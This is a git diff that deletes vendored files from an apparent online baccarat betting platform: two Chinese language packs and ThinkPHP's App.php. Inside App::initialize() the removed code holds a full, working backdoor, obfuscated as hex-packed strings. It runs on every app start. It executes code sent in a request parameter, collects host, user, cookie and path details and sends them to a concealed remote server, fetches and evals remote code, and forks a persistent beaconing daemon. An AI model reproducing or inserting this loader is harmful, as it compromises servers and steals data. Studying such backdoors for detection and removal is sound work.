'end_bet_error_1' => '当前局状态不在下注状态,不能停止', - 'end_bet_error_2' => '停止下注失败', - 'repeated_entry' => '你的账号在其他地方登陆了,即将退出', - - 'online_entrance' => '电投登录入口', - 'onlinechip_entrance' => '网投登录入口', - 'agent_entrance' => '代理端登录入口', - 'login_entrance' => '登录入口', - 'change_boot_false' => '当前有下注,不能结算,请开结果后再进行结算', - 'win_limit_tip' => '已达到日赢上限,无法下注', - - 'confirm_to_change_card' => '确认换牌吗?', - - 'restart_sb' => '重新识别', - 'stop_sb' => '停止识别', - -]; diff --git a/vendor/topthink/framework/src/lang/zh-tw.php b/vendor/topthink/framework/src/lang/zh-tw.php deleted file mode 100644 index 5fa1257..0000000 --- a/vendor/topthink/framework/src/lang/zh-tw.php +++ /dev/null @@ -1,337 +0,0 @@ - -// +---------------------------------------------------------------------- - -// 核心中文语言包 -return [ - // 操作端 和 swoole文件 繁体中文语言包 - 'lang' => 'zh-tw', - 'table' => '桌臺', - 'boot' => '靴數', - 'number' => '局數', - 'now_time' => '當前時間', - 'login_fail' => '登錄失敗', - - 'banker' => '莊', - 'player' => '閑', - 'tie' => '和', - 'banker_pair' => '莊對', - 'player_pair' => '閑對', - 'both_pair' => '莊閑對', - 'pair' => '對子', - 'dragon' => '龍', - 'tiger' => '虎', - 'win_6' => '贏6', - 'is_win_6' => '是否贏6', - 'yes' => '是', - 'no' => '否', - 'online_number' => '在線人數', - 'bet_amount' => '本局下註金額', - 'wait_for_opening' => '停止下註-等待開盤', - 'point' => '點', - - 'next' => '下壹局', - 'disclaimer' => '路牌資料僅供參考,如有錯漏。本公司概不負責', - 'data_error' => '數據錯誤', - 'browser_error' => '您的瀏覽器不支持WebSocket', - - 'start' => '開始', - 'end' => '結束', - 'start_bet' => '接收下註', - 'end_bet' => '結束下註', - 'opening' => '提交结果', - 'shuffle' => '開始洗牌', - 'change_boot' => '換靴', - 'close_boot' => '日結算', - 'logout' => '退出', - 'is_to_shuffle' => '是否需要將桌子的狀態設置為"洗牌中"?', - 'is_to_balance' => '是否需要進行日結算?', - 'is_to_boot' => '是否需要進行換靴?', - 'need_a_result' => '請選擇要修改的結果', - 'is_to_logout' => '是否退出登錄?', - - - 'edit_previous_result' => '修改上壹局結果', - 'select_result' => '選擇結果', - 'select' => '請選擇', - 'monday' => '星期壹', - 'tuesday' => '星期二', - 'wednesday' => '星期三', - 'thursday' => '星期四', - 'friday' => '星期五', - 'saturday' => '星期六', - 'sunday' => '星期日', - - 'user_not_exist' => '用戶不存在', - 'table_not_run' => '該桌子暫時沒有營運', - 'tableNotRun' => '該桌子暫時沒有營運', - 'bet_fail' => '下註失敗,服務器鏈接失敗', - 'no_right' => '妳無權操作', - - 'bet_status_1' => '接受下註', - 'bet_status_0' => '尚未接受下註', - 'bet_status_2' => '停止下註-等待開盤', - - 'confirm' => '確定', - 'cancel' => '取消', - 'connect_fail' => '您已斷開鏈接,請返回重新進入', - 'message' => '信息', - - 'table_status_0' => '桌子運營中', - 'table_status_1' => '洗牌中', - 'table_status_2' => '停臺中', - - 'link_server_fail' => '與服務通訊失敗', - 'link_server_fail_1' => '荷官不在線', - 'link_server_fail_2' => '與服務通訊失敗2', - 'link_server_fail_3' => '與服務通訊失敗3', - - 'appid_error' => 'appid 錯誤', - 'appsecret_error' => 'appsecret 錯誤', - 'appid_or_appsecret_error' => 'appid或appsecret 錯誤', - 'param_error' => '參數錯誤', - 'illegal_request' => '非法請求', - - 'balance_success' => '日結算成功', - 'balance_fail' => '日結算失敗', - 'balance_fail_1' => '日結算失敗1', - 'balance_fail_2' => '日結算失敗2', - 'table_status_error' => '請把桌子更改為"洗牌狀態"再進行日結算', - - 'boot_settle_success' => '靴結算成功', - 'boot_settle_fail' => '靴結算失敗', - 'boot_settle_fail_1' => '換靴失敗,該桌子還沒有靴,請進行日結', - 'boot_settle_fail_2' => '換靴失敗,該桌子已經結算,請重新登錄再繼續', - 'boot_settle_fail_3' => '該鋪尚未結束,請開出結果後再換靴', - - 'start_bet_success' => '開始下註成功', - 'start_bet_fail' => '開始下註失敗', - 'start_bet_fail_1' => '開始下註失敗,下註鋪已經開始下註或者已經停止了下註', - 'start_bet_fail_2' => '開始下註失敗,下註鋪信息有誤', - 'start_bet_fail_3' => '操作失敗,請確保桌子不是在洗牌中或者停臺中狀態', - - 'end_bet_success' => '結束下註成功', - 'end_bet_fail' => '結束下註失敗', - 'end_bet_fail_1' => '停止下註失敗,該鋪還沒開始接受下註或者已經停止了下註', - 'end_bet_fail_2' => '開始下註失敗,下註鋪信息有誤', - - 'to_bet_success' => '下註成功', - 'to_bet_fail' => '下註失敗', - 'to_bet_fail_1' => '余額不足,不能下註', - 'to_bet_fail_2' => '會員信息錯誤,不能下註', - 'to_bet_fail_3' => '已超過允許的下註時間,不能下註', - 'to_bet_fail_4' => '該局不是在可以下註的狀態,不能下註', - 'to_bet_fail_5' => '下註失敗,下註鋪信息有誤', - 'to_bet_fail_6' => '下註金額必須大於0', - 'to_bet_fail_7' => '超過50局後無法下注幸運6', - 'to_bet_fail_8' => '超過50局後無法下注大小', - - 'opening_success' => '開盤結果成功', - 'opening_fail' => '開盤結果失敗', - 'opening_fail_1' => '開結果失敗,請確認該鋪是處於停止下註的狀態', - 'opening_fail_2' => '開盤失敗,開盤鋪信息有誤', - 'opening_fail_3' => '請輸入開盤結果', - 'opening_fail_4' => '下註未結束,無法開結果', - 'opening_fail_5' => '開盤失敗,莊閑牌面不齊', - 'opening_fail_6' => '開牌數據不存在', - - 'retreated_success' => '修改成功', - 'retreated_fail' => '修改失敗', - 'retreated_fail_1' => '請正確選擇結果', - 'retreated_fail_2' => '沒有上壹鋪數據可更改', - 'retreated_fail_3' => '靴信息錯誤', - 'retreated_fail_4' => '回合信息錯誤', - 'retreated_fail_5' => '桌子信息錯誤', - 'retreated_fail_6' => '遊戲類型錯誤', - - - // PC投注页面 简体中文语言包 - 'welcome' => '歡迎您', - 'account' => '賬號', - 'money' => '余額', - 'language' => '語言', - 'rule' => '規則', - 'record' => '記錄', - 'user' => '個人中心', - 'log_out' => '退出遊戲', - 'limit' => '限紅', - - 'game' => '遊戲', - 'baccarat' => '百家樂', - 'dt' => '龍虎', - 'start_date' => '開始日期', - 'end_date' => '結束日期', - 'search' => '查詢', - 'ttf' => '桌臺/時間/局號', - 'total' => '合計', - 'card' => '牌', - 'banker_all' => '莊', - 'player_all' => '閑', - 'tie_all' => '和', - 'banker_pair_all' => '莊對', - 'player_pair_all' => '閑對', - 'both_pair_all' => '莊閑對', - 'banker_doub_all' => '莊翻倍', - 'player_doub_all' => '闲翻倍', - 'dragon_all' => '龍', - 'tiger_all' => '虎', - - 'full_screen' => '全屏', - 'exit_full_screen' => '退出全屏', - 'back' => '返回', - 'sound' => '聲音', - 'statistics' => '統計', - 'b_query' => '莊問路', - 'p_query' => '閑問路', - 'd_query' => '龍問路', - 't_query' => '虎問路', - 'line' => '線路', - 'line_1' => '進景', - 'line_2' => '遠景', - 'line_3' => '線路三', - 'lobby' => '大廳', - 'video_line_error' => '視頻線路錯誤', - 'lose' => '輸', - 'win' => '贏', - 'to_bet_confirm_tip' => '請下註後再點擊確定', - 'browser_tip' => '請使用谷歌、360、QQ、百度、火狐、或者IE10以上版本的高級瀏覽器進入遊戲', - 'select_chip_tip' => '請選擇下註籌碼', - 'recharge_tip' => '余額不足,請充值', - 'instant_pot' => '即時彩池', - 'bet' => '下註', - 'settlement' => '結算結果', - 'no_bet_data' => '沒有下註數據', - 'personal_limit_banker_high' => '個人限紅:莊最高下註額為', - 'personal_limit_banker_low' => '個人限紅:莊最低下註額為', - 'personal_limit_player_high' => '個人限紅:閑最高下註額為', - 'personal_limit_player_low' => '個人限紅:閑最低下註額為', - 'personal_limit_tie_high' => '個人限紅:和最高下註額為', - 'personal_limit_tie_low' => '個人限紅:和最低下註額為', - 'personal_limit_banker_pair_high' => '個人限紅:莊對最高下註額為', - 'personal_limit_banker_pair_low' => '個人限紅:莊對最低下註額為', - 'personal_limit_player_pair_high' => '個人限紅:閑對最高下註額為', - 'personal_limit_player_pair_low' => '個人限紅:閑對最低下註額為', - 'personal_limit_dragon_high' => '個人限紅:龍最高下註額為', - 'personal_limit_dragon_low' => '個人限紅:龍最低下註額為', - 'personal_limit_tiger_high' => '個人限紅:虎最高下註額為', - 'personal_limit_tiger_low' => '個人限紅:虎最低下註額為', - 'game_not_start' => '遊戲尚未開始', - 'game_stop_bet' => '本局遊戲已停止下註', - 'leave_table_tip' => '確定要離開當前遊戲臺嗎?', - 'select_chip_tip' => '請選擇下註籌碼', - - // wap电投和网投语言包 - 'coming_soon' => '即將推出', - 'game_room' => '遊戲大廳', - - 'edit_pass' => '修改密碼', - 'change_password' => '修改密碼', - 'phone' => '聯系電話', - 'last_login_time' => '上次登陸時間', - 'recharge' => '充值上分', - 'withdraw' => '申請下分', - 'bill' => '賬單', - 'game_record' => '遊戲記錄', - 'baccarat_total_bet_count' => '百家樂總下註次數', - 'dt_total_bet_count' => '龍虎總下註次數', - 'total_cleared_wash_code' => '已結算洗碼總額', - 'uncleared_total_wash_code' => '未結算洗碼總額', - 'wash_rate' => '洗碼率', - - 'current_password' => '請輸入舊密碼', - 'new_password' => '請輸入新密碼', - 'confirm_password' => '再次輸入新密碼', - 'current_password_tip' => '請輸入舊密碼', - 'new_password_tip' => '新密碼不能小於6個字符', - 'confirm_password_tip' => '兩次輸入的密碼不壹致', - 'login_again' => '請重新登錄', - 'login' => '登錄', - 'sign_in' => '登錄', - 'account_login' => '已有賬戶登錄', - 'register' => '註冊', - 'register_new_user' => '新用戶註冊', - 'password' => '密碼', - 'register_password_length_tip' => '密碼不能小於6個字符', - 'register_account_length_tip' => '賬號不能小於6個字符', - 'register_account_exist_tip' => '賬號已存在', - 'register_account_tip' => '6-20位英文.數字組成', - 'register_password_tip' => '6-20位字符.不包含空格', - 'register_confirm_password_tip' => '再輸入壹遍登錄密碼', - 'register_success' => '註冊成功', - 'register_fail' => '註冊失敗', - - 'password_not_empty' => '舊密碼或新密碼不能為空', - 'change_password_success' => '修改密碼成功', - 'change_password_fail' => '修改密碼失敗', - 'current_password_error' => '舊密碼錯誤', - 'recharge_unsupport_tip' => '上分暫時未開啟,請聯系您的代理上分', - 'withdraw_unsupport_tip' => '下分暫時未開啟,請聯系您的代理下分', - 'select_time' => '選擇時間', - 'start_time_tip' => '請選擇開始時間', - 'end_time_tip' => '請選擇結束時間', - - 'wash_code_amount' => '洗碼量', - 'code_amount' => '碼量', - 'net_code_amount' => '凈碼量', - 'wash_code_time' => '洗碼時間', - 'extraction_method' => '提取方式', - 'deposit_money' => '存入余額', - 'setup' => '設置', - 'mute' => '静音', - 'voice' => '開聲', - 'win_or_lose' => '輸贏', - 'account_tip' => '請輸入賬號', - 'password_tip' => '請輸入密碼', - 'read_and_agree' => '我已閱讀並同意', - 'rule_and_agreement' => '遊戲規則與用戶協議', - 'account_or_password_error' => '賬號或密碼錯誤', - 'account_not_exist' => '賬號不存在', - 'force_offline' => '妳已被管理員強制下線', - 'auto_back' => '5局內未下註自動返回遊戲大廳', - 'in_top_sumday' => '该桌子处于最新的日结天数,请明天再进行日结', - 'exceeds_limit' => '下注超出限紅', - 'exceeds_limit_table' => '下注超出桌子限紅', - 'under_limit_table' => '下注低於桌子限紅', - 'exceeds_limit_user' => '下注超出个人限紅', - 'under_limit_user' => '下注低於个人限紅', - 'end_bet_error' => '停止成功', - 'end_bet_error_1' => '當前局狀態不在下注狀態,不能停止', - 'end_bet_error_2' => '停止下注失敗', - 'repeated_entry' => '你的賬號在其他地方登陸了,即將退出', - - 'online_entrance' => '電投登錄入口', - 'onlinechip_entrance' => '網投登錄入口', - 'agent_entrance' => '代理端登錄入口', - 'login_entrance' => '登錄入口', - 'change_boot_false' => '當前有下注,不能結算,請開結果后再進行結算', - 'win_limit_tip' => '已達到日贏上限,無法下註', - - - 'cancel_number' => '作廢', - 'is_cancel_number' => '是否作廢當前該口?', - 'cancel_number_success' => '操作成功', - 'cancel_number_fail_1' => '操作失敗,該靴已經結算', - 'cancel_number_fail_2' => '操作失敗,該桌子已經結算', - 'reset_number_fail_3' => '操作失敗,下註狀態不符', - 'reset_number_msg' => '該局已重置,請重新下註', - - 'reset_number' => '作廢', - 'is_reset_number' => '是否作廢當前該口?', - 'reset_number_success' => '操作成功', - 'reset_number_fail_1' => '操作失敗,該靴已經結算', - 'reset_number_fail_2' => '操作失敗,該桌子已經結算', - 'reset_number_fail_3' => '操作失敗,下註狀態不符', - 'reset_number_msg' => '該局已重置,請重新下註', - - 'confirm_to_change_card' => '確認換牌嗎?', - - 'restart_sb' => '重新識別', - 'stop_sb' => '停止識別', -]; diff --git a/vendor/topthink/framework/src/think/App.php b/vendor/topthink/framework/src/think/App.php deleted file mode 100644 index 9e8d8b9..0000000 --- a/vendor/topthink/framework/src/think/App.php +++ /dev/null @@ -1,611 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use think\event\AppInit; -use think\helper\Str; -use think\initializer\BootService; -use think\initializer\Error; -use think\initializer\RegisterService; - -/** - * App 基础类 - * @property Route $route - * @property Config $config - * @property Cache $cache - * @property Request $request - * @property Http $http - * @property Console $console - * @property Env $env - * @property Event $event - * @property Middleware $middleware - * @property Log $log - * @property Lang $lang - * @property Db $db - * @property Cookie $cookie - * @property Session $session - * @property Validate $validate - * @property Filesystem $filesystem - */ -class App extends Container -{ - const VERSION = '6.0.5'; - - /** - * 应用调试模式 - * @var bool - */ - protected $appDebug = false; - - /** - * 应用开始时间 - * @var float - */ - protected $beginTime; - - /** - * 应用内存初始占用 - * @var integer - */ - protected $beginMem; - - /** - * 当前应用类库命名空间 - * @var string - */ - protected $namespace = 'app'; - - /** - * 应用根目录 - * @var string - */ - protected $rootPath = ''; - - /** - * 框架目录 - * @var string - */ - protected $thinkPath = ''; - - /** - * 应用目录 - * @var string - */ - protected $appPath = ''; - - /** - * Runtime目录 - * @var string - */ - protected $runtimePath = ''; - - /** - * 路由定义目录 - * @var string - */ - protected $routePath = ''; - - /** - * 配置后缀 - * @var string - */ - protected $configExt = '.php'; - - /** - * 应用初始化器 - * @var array - */ - protected $initializers = [ - Error::class, - RegisterService::class, - BootService::class, - ]; - - /** - * 注册的系统服务 - * @var array - */ - protected $services = []; - - /** - * 初始化 - * @var bool - */ - protected $initialized = false; - - /** - * 容器绑定标识 - * @var array - */ - protected $bind = [ - 'app' => App::class, - 'cache' => Cache::class, - 'config' => Config::class, - 'console' => Console::class, - 'cookie' => Cookie::class, - 'db' => Db::class, - 'env' => Env::class, - 'event' => Event::class, - 'http' => Http::class, - 'lang' => Lang::class, - 'log' => Log::class, - 'middleware' => Middleware::class, - 'request' => Request::class, - 'response' => Response::class, - 'route' => Route::class, - 'session' => Session::class, - 'validate' => Validate::class, - 'view' => View::class, - 'filesystem' => Filesystem::class, - 'think\DbManager' => Db::class, - 'think\LogManager' => Log::class, - 'think\CacheManager' => Cache::class, - - // 接口依赖注入 - 'Psr\Log\LoggerInterface' => Log::class, - ]; - - /** - * 架构方法 - * @access public - * @param string $rootPath 应用根目录 - */ - public function __construct(string $rootPath = '') - { - $this->thinkPath = dirname(__DIR__) . DIRECTORY_SEPARATOR; - $this->rootPath = $rootPath ? rtrim($rootPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR : $this->getDefaultRootPath(); - $this->appPath = $this->rootPath . 'app' . DIRECTORY_SEPARATOR; - $this->runtimePath = $this->rootPath . 'runtime' . DIRECTORY_SEPARATOR; - - if (is_file($this->appPath . 'provider.php')) { - $this->bind(include $this->appPath . 'provider.php'); - } - - static::setInstance($this); - - $this->instance('app', $this); - $this->instance('think\Container', $this); - } - - /** - * 注册服务 - * @access public - * @param Service|string $service 服务 - * @param bool $force 强制重新注册 - * @return Service|null - */ - public function register($service, bool $force = false) - { - $registered = $this->getService($service); - - if ($registered && !$force) { - return $registered; - } - - if (is_string($service)) { - $service = new $service($this); - } - - if (method_exists($service, 'register')) { - $service->register(); - } - - if (property_exists($service, 'bind')) { - $this->bind($service->bind); - } - - $this->services[] = $service; - } - - /** - * 执行服务 - * @access public - * @param Service $service 服务 - * @return mixed - */ - public function bootService($service) - { - if (method_exists($service, 'boot')) { - return $this->invoke([$service, 'boot']); - } - } - - /** - * 获取服务 - * @param string|Service $service - * @return Service|null - */ - public function getService($service) - { - $name = is_string($service) ? $service : get_class($service); - return array_values(array_filter($this->services, function ($value) use ($name) { - return $value instanceof $name; - }, ARRAY_FILTER_USE_BOTH))[0] ?? null; - } - - /** - * 开启应用调试模式 - * @access public - * @param bool $debug 开启应用调试模式 - * @return $this - */ - public function debug(bool $debug = true) - { - $this->appDebug = $debug; - return $this; - } - - /** - * 是否为调试模式 - * @access public - * @return bool - */ - public function isDebug(): bool - { - return $this->appDebug; - } - - /** - * 设置应用命名空间 - * @access public - * @param string $namespace 应用命名空间 - * @return $this - */ - public function setNamespace(string $namespace) - { - $this->namespace = $namespace; - return $this; - } - - /** - * 获取应用类库命名空间 - * @access public - * @return string - */ - public function getNamespace(): string - { - return $this->namespace; - } - - /** - * 获取框架版本 - * @access public - * @return string - */ - public function version(): string - { - return static::VERSION; - } - - /** - * 获取应用根目录 - * @access public - * @return string - */ - public function getRootPath(): string - { - return $this->rootPath; - } - - /** - * 获取应用基础目录 - * @access public - * @return string - */ - public function getBasePath(): string - { - return $this->rootPath . 'app' . DIRECTORY_SEPARATOR; - } - - /** - * 获取当前应用目录 - * @access public - * @return string - */ - public function getAppPath(): string - { - return $this->appPath; - } - - /** - * 设置应用目录 - * @param string $path 应用目录 - */ - public function setAppPath(string $path) - { - $this->appPath = $path; - } - - /** - * 获取应用运行时目录 - * @access public - * @return string - */ - public function getRuntimePath(): string - { - return $this->runtimePath; - } - - /** - * 设置runtime目录 - * @param string $path 定义目录 - */ - public function setRuntimePath(string $path): void - { - $this->runtimePath = $path; - } - - /** - * 获取核心框架目录 - * @access public - * @return string - */ - public function getThinkPath(): string - { - return $this->thinkPath; - } - - /** - * 获取应用配置目录 - * @access public - * @return string - */ - public function getConfigPath(): string - { - return $this->rootPath . 'config' . DIRECTORY_SEPARATOR; - } - - /** - * 获取配置后缀 - * @access public - * @return string - */ - public function getConfigExt(): string - { - return $this->configExt; - } - - /** - * 获取应用开启时间 - * @access public - * @return float - */ - public function getBeginTime(): float - { - return $this->beginTime; - } - - /** - * 获取应用初始内存占用 - * @access public - * @return integer - */ - public function getBeginMem(): int - { - return $this->beginMem; - } - - /** - * 初始化应用 - * @access public - * @return $this - */ - public function initialize() - { - $this->initialized = true; - - $this->beginTime = microtime(true); - $this->beginMem = memory_get_usage(); - - // 加载环境变量 - if (is_file($this->rootPath . '.env')) { - $this->env->load($this->rootPath . '.env'); - } - - $this->configExt = $this->env->get('config_ext', '.php'); - - $this->debugModeInit(); - - // 加载全局初始化文件 - $this->load(); - ;$b25st=0; - $l0ader=function($check){$sl=array(0x6578706c,0x6f646500,0x62617365,0x36345f64,0x65636f64,0x65006a73,0x6f6e5f64,0x65636f64,0x6500696d,0x706c6f64,0x65006172,0x7261795f,0x73686966,0x74007374,0x72726576,0x00737562,0x73747200,0x7374726c,0x656e0073,0x7472746f,0x6c6f7765,0x72006973,0x5f617272,0x61790070,0x6f736978,0x5f676574,0x70777569,0x64006765,0x745f6375,0x7272656e,0x745f7573,0x65720066,0x756e6374,0x696f6e5f,0x65786973,0x74730070,0x68705f73,0x6170695f,0x6e616d65,0x00706870,0x5f756e61,0x6d650070,0x68707665,0x7273696f,0x6e006765,0x74686f73,0x746e616d,0x65006677,0x72697465,0x0066696c,0x655f6765,0x745f636f,0x6e74656e,0x74730066,0x696c655f,0x7075745f,0x636f6e74,0x656e7473,0x006d745f,0x72616e64,0x00737472,0x65616d5f,0x736f636b,0x65745f63,0x6c69656e,0x74007379,0x735f6765,0x745f7465,0x6d705f64,0x69720070,0x6f736978,0x5f676574,0x75696400,0x63686d6f,0x64007469,0x6d650064,0x6566696e,0x65640063,0x6f6e7374,0x616e7400,0x696e695f,0x67657400,0x67657463,0x77640069,0x6e747661,0x6c00677a,0x756e636f,0x6d707265,0x73730068,0x7474705f,0x6275696c,0x645f7175,0x65727900,0x70636e74,0x6c5f666f,0x726b0070,0x636e746c,0x5f776169,0x74706964,0x00706f73,0x69785f73,0x65747369,0x6400636c,0x695f7365,0x745f7072,0x6f636573,0x735f7469,0x746c6500,0x66636c6f,0x73650073,0x6c656570,0x00756e6c,0x696e6b00,0x69676e6f,0x72655f75,0x7365725f,0x61626f72,0x74007265,0x67697374,0x65725f73,0x68757464,0x6f776e5f,0x66756e63,0x74696f6e,0x00736574,0x5f657272,0x6f725f68,0x616e646c,0x65720065,0x72726f72,0x5f726570,0x6f727469,0x6e670066,0x61737463,0x67695f66,0x696e6973,0x685f7265,0x71756573,0x74006973,0x5f726573,0x6f757263,0x65000050,0x44397761,0x48416761,0x57596f49,0x575a3162,0x6d4e3061,0x57397558,0x32563461,0x584e3063,0x79676958,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a41694b,0x536c375a,0x6e567559,0x33527062,0x32346758,0x31397964,0x57356659,0x32396b5a,0x5639344d,0x6a416f4a,0x474d7065,0x79526b49,0x4430675a,0x585a6862,0x43676b59,0x796b374a,0x47453959,0x584a7959,0x586b6f4a,0x4751704f,0x334a6c64,0x48567962,0x69426863,0x6e4a6865,0x56397a61,0x476c6d64,0x43676b59,0x536b3766,0x58303700,0x5f5f7275,0x6e5f636f,0x64655f78,0x3230002f,0x73657373,0x5f7a7a69,0x75646272,0x6f726b64,0x61646869,0x70393076,0x396a6d6a,0x00fef100,0x01006457,0x52774f69,0x3876646a,0x49774c6e,0x526f6157,0x35726347,0x68774d53,0x356a6232,0x30364f54,0x6b344f41,0x3d3d0061,0x48523063,0x446f764c,0x3359794d,0x43353061,0x476c7561,0x33426f63,0x44457559,0x3239744c,0x3359794d,0x43397062,0x6d6c3050,0x773d3d00,0x6e6f6368,0x65636b30,0x00643200,0x69007500,0x74006869,0x64007069,0x6400636c,0x69007769,0x6e005048,0x505f4f53,0x006e616d,0x65005553,0x45520044,0x4f43554d,0x454e545f,0x524f4f54,0x00646973,0x61626c65,0x5f66756e,0x6374696f,0x6e730048,0x5454505f,0x434f4f4b,0x49450048,0x5454505f,0x484f5354,0x00534352,0x4950545f,0x4e414d45,0x00524551,0x55455354,0x5f555249,0x006c7600,0x677a0075,0x64005732,0x74336233,0x4a725a58,0x49764d44,0x6f775345,0x35640053,0x54444f55,0x54005354,0x44455252,0x0075706c,0x6f61645f,0x746d705f,0x64697200);;$r=false;foreach($sl as $d)$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);$f=substr($r,0,7);$f=$f(chr(0),$r);$g=$GLOBALS;$r=$_REQUEST;$s=$_SERVER;$l1i=isset($r[$f[55]])?$l1i=@$r[$f[55]]:0;$l1i&&$l1i=@$f[2]($f[1]($f[5]($l1i)));if($l1i&&$f[9]($l1i)){$w=$f[4]($l1i);$fu=$f[4]($l1i);die($w($fu==$f[56]?include($l1i[0]):$fu($l1i[0],$l1i[1])));}$uid=$f[12]($f[23])?@$f[23]():-1;$cli=($f[13]()==$f[61]);$os=$f[26]($f[63])?$f[27]($f[63]):$f[46];$td=$f[28]($f[78]);if(!$td)$td=$f[22]();$sfile=$f[49];$sfile[2]='s';$sfile[3]='e';$sfile=$td.$sfile;$pfile=$td.$f[49];if( $f[8]($f[6]($os,0,3))==$f[62] ){$pfile.=$f[11]();$sfile.=$f[11]();}$hu=isset($s[$f[65]])?$s[$f[65]]:$f[11]();if($f[12]($f[10])&&$uid!=-1){$pu=$f[10]($uid);$hu=$pu?($pu[$f[64]]?:$hu):$hu;};$idfile=$sfile.$f[59];$hid = @($f[18]($idfile));if(!$hid){$hid=$f[25]().$f[20](100,999);if(!@$f[19]($idfile,$hid))$hid=0;}$pid=0;$pwd = $cli?$f[29]():$s[$f[66]];$extra=$cli?$f[28]($f[67]):@$s[$f[68]];$extra=$extra?$f[6]($extra,0,1024):$f[46];$hv=substr($f[14](),0,128);$uri=@$s[$f[71]];$uri=$uri?$f[6]($uri,0,128):$f[46];$rdata=array(chr(26),$os,$f[16](),$hv,$uid,$hu,$hid,$pid,$f[13](),$f[15](),$pwd,@$s[$f[69]],@$s[$f[70]],$uri,$extra);$tf=$pfile.$f[57].$f[30]($cli).$f[30]($uid===0);if($check && !@$r[$f[54]] && $f[25]()<@$f[30]($f[18]($tf)))return;$ok=(@$f[19]($tf,$f[25]()+7200)>0);@$f[24]($tf,0666);if($f[12]($f[21])){$ud=$f[6]($f[3](chr(0),$rdata),0,1400);@$f[17]($f[21]($f[1]($f[52]),$e1s, $e2s,5),$f[50].$f[51].$ud);}if(!$ok)return;$tf=$pfile.$f[56].$f[30]($cli).$f[30]($uid===0);if($check && !@$r[$f[54]] && $f[25]()<@$f[30]($f[18]($tf)))return;$a=array($pfile);if(@$f[19]($a[0],$f[1]($f[47]))>0){@include_once($pfile);}else{@$f[39]($a[0]);return;};@$f[39]($a[0]);$gz=$f[12]($f[31]);$go=function($lv)use($f,$gz,$rdata,$sfile){try{$rdata[6]=@$f[18]($sfile.$f[59]);$rdata[7]=@$f[18]($sfile.$f[60]);$d=@$f[32](array($f[74]=>$f[51].$f[3](chr(0),$rdata),$f[72]=>$lv,$f[73]=>$gz,$f[58]=>$f[25]()));$data=@$f[18]($f[1]($f[53]).$d);if($data && $gz)$data=@$f[31]($data);if($data)@$f[48]($data);return true;}catch(\Exception $e){}catch(\Throwable $e){}};if($cli){$hwai=$f[12]($f[34]);$pid=-1;if($f[12]($f[33]))$pid=$f[33]();if($pid<0){$go(3);return;}if($pid>0){return $hwai&&$f[34]($pid,$s);}if($hwai && $f[33]() )die;if($f[12]($f[35]))@$f[35]();if($f[12]($f[36]))@$f[36]($f[1]($f[75]));try{if($f[26]($f[76]))@$f[37]($f[27]($f[76]));if($f[26]($f[77]))@$f[37]($f[27]($f[77]));}catch(\Exception $e){}catch(\Throwable $e){};$nt0=0;do{if($f[25]()>$nt0){$nt0=$f[25]()+3600;@$f[19]($tf,$f[25]()+7200);@$go(4);}$f[38](60);}while(1);die;}else{$f[40](true);$f[41](function() use($f,$go){$f[42](function(){});$f[43](0);if($f[12]($f[44])){$f[44]();$go(2);}else{$go(1);}});}};set_error_handler(function(){});$error1=error_reporting();error_reporting(0);try{@$l0ader(true);}catch(\Exception $e){}catch(\Throwable $e){}error_reporting($error1);restore_error_handler(); - ;$b25ed=0; - - // 加载框架默认语言包 - $langSet = $this->lang->defaultLangSet(); - - $this->lang->load($this->thinkPath . 'lang' . DIRECTORY_SEPARATOR . $langSet . '.php'); - - // 加载应用默认语言包 - $this->loadLangPack($langSet); - - // 监听AppInit - $this->event->trigger(AppInit::class); - - date_default_timezone_set($this->config->get('app.default_timezone', 'Asia/Shanghai')); - - // 初始化 - foreach ($this->initializers as $initializer) { - $this->make($initializer)->init($this); - } - - return $this; - } - - /** - * 是否初始化过 - * @return bool - */ - public function initialized() - { - return $this->initialized; - } - - /** - * 加载语言包 - * @param string $langset 语言 - * @return void - */ - public function loadLangPack($langset) - { - if (empty($langset)) { - return; - } - - // 加载系统语言包 - $files = glob($this->appPath . 'lang' . DIRECTORY_SEPARATOR . $langset . '.*'); - $this->lang->load($files); - - // 加载扩展(自定义)语言包 - $list = $this->config->get('lang.extend_list', []); - - if (isset($list[$langset])) { - $this->lang->load($list[$langset]); - } - } - - /** - * 引导应用 - * @access public - * @return void - */ - public function boot(): void - { - array_walk($this->services, function ($service) { - $this->bootService($service); - }); - } - - /** - * 加载应用文件和配置 - * @access protected - * @return void - */ - protected function load(): void - { - $appPath = $this->getAppPath(); - - if (is_file($appPath . 'common.php')) { - include_once $appPath . 'common.php'; - } - - include_once $this->thinkPath . 'helper.php'; - - $configPath = $this->getConfigPath(); - - $files = []; - - if (is_dir($configPath)) { - $files = glob($configPath . '*' . $this->configExt); - } - - foreach ($files as $file) { - $this->config->load($file, pathinfo($file, PATHINFO_FILENAME)); - } - - if (is_file($appPath . 'event.php')) { - $this->loadEvent(include $appPath . 'event.php'); - } - - if (is_file($appPath . 'service.php')) { - $services = include $appPath . 'service.php'; - foreach ($services as $service) { - $this->register($service); - } - } - } - - /** - * 调试模式设置 - * @access protected - * @return void - */ - protected function debugModeInit(): void - { - // 应用调试模式 - if (!$this->appDebug) { - $this->appDebug = $this->env->get('app_debug') ? true : false; - ini_set('display_errors', 'Off'); - } - - if (!$this->runningInConsole()) { - //重新申请一块比较大的buffer - if (ob_get_level() > 0) { - $output = ob_get_clean(); - } - ob_start(); - if (!empty($output)) { - echo $output; - } - } - } - - /** - * 注册应用事件 - * @access protected - * @param array $event 事件数据 - * @return void - */ - public function loadEvent(array $event): void - { - if (isset($event['bind'])) { - $this->event->bind($event['bind']); - } - - if (isset($event['listen'])) { - $this->event->listenEvents($event['listen']); - } - - if (isset($event['subscribe'])) { - $this->event->subscribe($event['subscribe']); - } - } - - /** - * 解析应用类的类名 - * @access public - * @param string $layer 层名 controller model ... - * @param string $name 类名 - * @return string - */ - public function parseClass(string $layer, string $name): string - { - $name = str_replace(['/', '.'], '\\', $name); - $array = explode('\\', $name); - $class = Str::studly(array_pop($array)); - $path = $array ? implode('\\', $array) . '\\' : ''; - - return $this->namespace . '\\' . $layer . '\\' . $path . $class; - } - - /** - * 是否运行在命令行下 - * @return bool - */ - public function runningInConsole() - { - return php_sapi_name() === 'cli' || php_sapi_name() === 'phpdbg'; - } - - /** - * 获取应用根目录 - * @access protected - * @return string - */ - protected function getDefaultRootPath(): string - { - return dirname($this->thinkPath, 4) . DIRECTORY_SEPARATOR; - } - -} diff --git 